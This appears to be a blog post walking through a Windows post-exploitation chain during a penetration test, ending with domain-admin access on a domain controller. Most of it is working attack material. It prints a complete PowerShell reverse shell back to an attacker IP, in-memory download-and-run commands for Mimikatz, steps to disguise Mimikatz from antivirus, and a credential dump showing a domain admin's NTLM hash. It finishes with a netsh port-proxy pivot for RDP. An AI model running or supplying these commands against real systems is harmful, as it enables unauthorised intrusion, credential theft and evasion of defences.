You probably already heard about Powershell and what amazing things you can do with it during a penetration test.
Tools like Powercat, Powershell Empire, Powersploit etc.. are wonderful and ready to use.. but serious hackers have to realize what is going on behind the scenes, do you agree?
So forget these tools and also Rapids’7 Metasploit, we will try to use a mix of powershell and the traditional “cmd.exe” along with windows command tools as a replacement of our unmissable “meterpreter” console.
This is the scenario:
You are performing a “Grey Box Penetration Test” on web a application hosted on a Windows Server from an internal network. MS-SQL is the backend database installed on the same machine and finally, after struggling with sqlmap you obtained your xp_cmdshell.
From now post-exploitation should start but there is no way to upload a meterpreter executable and there is also an AV solid as rock…
And now your mission: login via remote desktop into the domain controller with the domain administrators credentials….
- Your IP is 10.1.3.40
- Web server internal network is 10.1.1.0/24
- Web server can connect to your network only with ports 80 and 443
- Web server has no access to the internet
What can we do?
First of all: we need a decent shell, we cannot rely on xp_cmdshell…
Why not a bind or reverse shell? How can we accomplish this with the ugly xp_cmdshell interface?
Heard about the magic of powershell? Take a look here:
https://github.com/samratashok/nishang
There are a plenty of useful scripts, including bind and reverse shells.
We will use this one :
$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443); $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (IEX $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close()"
What does this script? Easy, it launches powershell and creates a TCPClient object, connects back (reverse) to our machine, opens an input/output stream and executes via powershell (InvokeExpressIon) what we type.. very simple!
On our linux box the classic nc command for listening:
nc -lp 443
Let’s move to our xp_cmdshell obtained with sqlmap and paste the ps code:
os-shell> powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
This piece of code should be concatenated in one single line!
If everything is ok we should get back a powershell in our linux box:
#nc -lvp 443 listening on [any] 443 ... connect to [10.1.3.40] from [10.1.1.40] 49193 PS C:\Windows\system32>
Well done! we have a reverse powershell. Who are we?
PS C:\Windows\system32> whoami nt authority\system
What is network configuration? .. already got it, right?
PS C:\Windows\system32\ipconfig Windows IP Configuration Ethernet adapter Ethernet: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::8d97:97e2:e970:2477%12 IPv4 Address. . . . . . . . . . . : 10.1.1.40 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.1.1.1
And then ipconfig /all etc.. etc..
What is the windows version?
PS C:\Windows\system32> [System.Environment]::OSVersion.Version Major Minor Build Revision ----- ----- ----- -------- 6 3 9600 0
This is windows 2012! (https://msdn.microsoft.com/en-us/library/windows/desktop/ms724833(v=vs.85).aspx)
Now, we have to identify the computer name, domain name and domain controller. There are several ways, for example:
PS C:\Windows\system32> echo (Get-WmiObject Win32_ComputerSystem).Name server2012 PS C:\Windows\system32> echo (Get-WmiObject win32_computersystem).Domain mydomain.local
…or getting it from the environment variables via powershell:
echo $env:userdomain mydomain
…or calling directy the “set” command
PS C:\Windows\system32> cmd /c 'set | find "USERDOMAIN"' USERDOMAIN=MYDOMAIN
and so on…
Now that we have the domain name, we need the domain controller’s name, right?
PS C:\Windows\system32> cmd /c "nltest /dclist:mydomain" Get list of DCs in domain 'mydomain' from '\\SERVER2012DC'. server2012dc.mydomain.local [PDC] [DS] Site: Default-First-Site-Name The command completed successfully
And the ip address:
PS C:\Windows\system32> ping server2012dc Pinging server2012dc.mydomain.local [10.2.1.4] with 32 bytes of data: Reply from 10.2.1.4: bytes=32 time
Hmm.. DC is on a different subnet!
Who are the domain admins?
PS C:\temp> net group "domain admins" /domain The request will be processed at a domain controller for domain mydomainb.local. Group name Domain Admins Comment Designated administrators of the domain Members ------------------------------------------------------------------------------- Administrator andrew The command completed successfully.
Is the system up to date? Check for hotfixes, patches, etc..
PS C:\Windows\system32> wmic qfe list Caption CSName Description FixComments HotFixID InstallDate InstalledBy InstalledOn Name ServicePackInEffect Status http://support.microsoft.com/?kbid=2919355 SRV2012 Update KB2919355 SRV2012\Administrator 3/18/2014 http://support.microsoft.com/?kbid=2919442 SRV2012 Update KB2919442 SRV2012\Administrator 3/18/2014 http://support.microsoft.com/?kbid=2937220 SRV2012 Update KB2937220 SRV2012\Administrator 3/18/2014 http://support.microsoft.com/?kbid=2938772 SRV2012 Update KB2938772 SRV2012\Administrator 3/18/2014 http://support.microsoft.com/?kbid=2939471 SRV2012 Update KB2939471 SRV2012\Administrator 3/18/2014 http://support.microsoft.com/?kbid=2949621 SRV2012 Hotfix KB2949621 SRV2012\Administrator 3/18/2014
Seems to be poorly patched 🙂
Look for a particular patch:
PS C:\Windows\system32> cmd /c 'wmic qfe list | find "KB2949621"' http://support.microsoft.com/?kbid=2949621 SRV2012 Hotfix KB2949621 SRV2012\Administrator 3/18/2014
Keep in mind: “wmic” is powerful tool that can perform many kinds of actions and queries on the underlying OS.
Ok, we did a minimalistic information gathering.. so let’s move on…
We have s local SYSTEM account, lets’ get grab the domain passwords, hoping that some user with domain admin privilege logged in!
How can we achieve this goal? mimikatz, of course!
But we have a problem: we can’t upload mimikatz.exe , the AV will kill it as soon as we try to launch it and we can’t stop the AV service.
Alternative solution: load the mimikatz powershell extension directly from the internet and execute it in memory:
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds
But the server can’t connect to the internet, and even if so, would we be able to bypass AV?
Some Antivirus programs intercept also the powershell version of mimikatz,even if “launched” through http in memory…
No panic, after some “heavy” testing, we found a possible solution:
- Change some keywords in mimi.ps1 in order to cheat the antivirus
- Add “fuzzed” command “Invoke-mimikatz -Dumpcred ” at the end of file in order to execute it directly from .ps1
- Rename mimi.ps1 to mimi.txt (never hurts)
- zip mimi.txt (never hurts 2)
- Downloa mimi.zip file from our machine via http
- Unzip mimi.zip
- Rename .txt to .ps1
- Launch it .. and cross your fingers
I know what yo are thinking, why not execute directly the “fuzzed” mimikatz from our linux box, ex:
(New-Object Net.WebClient).DownloadString('http://10.1.3.40/mimi/mimikatz.ps1'); Invoke-Dummy -DumpEvenMoreDummy)
Because we want to explore other possible solutions and learn new tip&tricks 😉
First of all we will put mimi.zip on our webserver and start the http service. Next, from our PS shell we will download mimi.zip via powershell:
$r=New-Object System.Net.WebClient;$r.DownloadFile('http://10.1.3.40/mimi/mimi.zip', 'c:\temp\mimi.zip')
If everything is ok, we will find the file in c:\temp
PS C:\temp> dir Directory: C:\temp Mode LastWriteTime Length Name ---- ------------- ------ ---- -a--- 1/26/2017 11:43 PM 991827 mimi.zip
It works! Now a more challenging task: unzip this file. We don’t have any unzip utility on this server so what shall we do? Simple: load the “ZipFile” assembly already present on newer version of powershell:
PS C:\temp> $psversiontable Name Value ---- ----- PSVersion 4.0 WSManStackVersion 3.0 SerializationVersion 1.1.0.1 CLRVersion 4.0.30319.34014 BuildVersion 6.3.9600.16394 PSCompatibleVersions {1.0, 2.0, 3.0, 4.0} PSRemotingProtocolVersion 2.2
This version should be ok, let’s try;
PS C:\temp> Add-Type -assembly 'system.io.compression.filesystem';[io.compression.zipfile]::ExtractToDirectory("c:\temp\mimi.zip","c:\temp") PS C:\temp> dir Directory: C:\temp Mode LastWriteTime Length Name ---- ------------- ------ ---- -a--- 1/4/2017 5:41 PM 2201698 mimi.txt -a--- 1/26/2017 11:43 PM 991827 mimi.zip
The file was successfully extracted, now we’ll rename it to mimi.ps1 and try to launch it:
PS C:\temp> .\mimi.ps1 .#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14 .## ^ ##. "A La Vie, A L'Amour" ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 20 modules * * */ ERROR mimikatz_initOrClean ; CoInitializeEx: 80010106 mimikatz(powershell) # privilege::debug Privilege '20' OK mimikatz(powershell) # sekurlsa::logonpasswords Authentication Id : 0 ; 1456550 (00000000:001639a6) Session : RemoteInteractive from 3 User Name : andrew Domain : MYDOMAIN --- snip ---
It worked, we bypassed also the AV! Looking for some interesting info in mimikatz output… and bingo! we found user “andrew” , remember? He is Domain Admin
Authentication Id : 0 ; 1456550 (00000000:001639a6) Session : RemoteInteractive from 3 User Name : andrew Domain : MYDOMAIN Logon Server : SERVER2012DC Logon Time : 1/26/2017 11:21:19 PM SID : S-1-5-21-3534665177-2148510708-2241433719-1105 msv : [00000003] Primary * Username : andrew * Domain : MYDOMAIN * NTLM : b9f917853e3dbf6e6831ecce60725930 * SHA1 : 92777c3cb3974068c5503f06ae9d47a7b49b316c [00010000] CredentialKeys * NTLM : b9f917853e3dbf6e6831ecce60725930 * SHA1 : 92777c3cb3974068c5503f06ae9d47a7b49b316c tspkg : wdigest : * Username : andrew * Domain : MYDOMAIN * Password : (null) kerberos : * Username : andrew * Domain : MYDOMAIN.LOCAL * Password : (null) ssp : KO credman :
Unfortunately we are not able to get the password in clear text because Windows 2012 by default does not store the credential in clear text for the WDigest provider. But there is a registry hack, so we could change the settings (we are SYSTEM) and wait for a domain admin to logon again… but we have the NTLM hash (b9f917853e3dbf6e6831ecce60725930) .. try to crack it 😉
So we have the cracked password and are almost done, just need to rdp to domain controller.. but wait, there is a problem, this network (10.1.2.0) is not accessible from our network. We cannot rdp into our compromised web server because only port 80 and 443 are open (yes, we could change the listening port of rdp via registry hack), why not experimenting some pivoting techniques?
How can we achieve that? “netsh” is our friend in this case, we can setup a proxy on the webserver which then redirects our rdp connection to the domain controller, not a bad idea..
On the webserver we could use port 443 for our listening proxy if not already used, otherwise we should stop iis ,for the sake of stealthiness 😉
A quick “netstat -an” told us that port 443 is free, let’s do it.
This is the schema:
- attacker->rdp:10.1.1.40(webserver):443
- webserver:443->netsh-proxy-redirect-443-to-10.1.2.40:3389
- domain controller:3389->rdp with attacker
PS C:\temp> netsh interface portproxy add v4tov4 listenport=443 listenaddress=0.0.0.0 connectport=3389 connectaddress=10.1.2.40
On our linux box:
$rdesktop 10.1.1.40:443
And finally logged into the DC with domain admins credentials!!
That’s all 🙂
Reblogged this on KNX Security – Practical Penetration Test.
LikeLike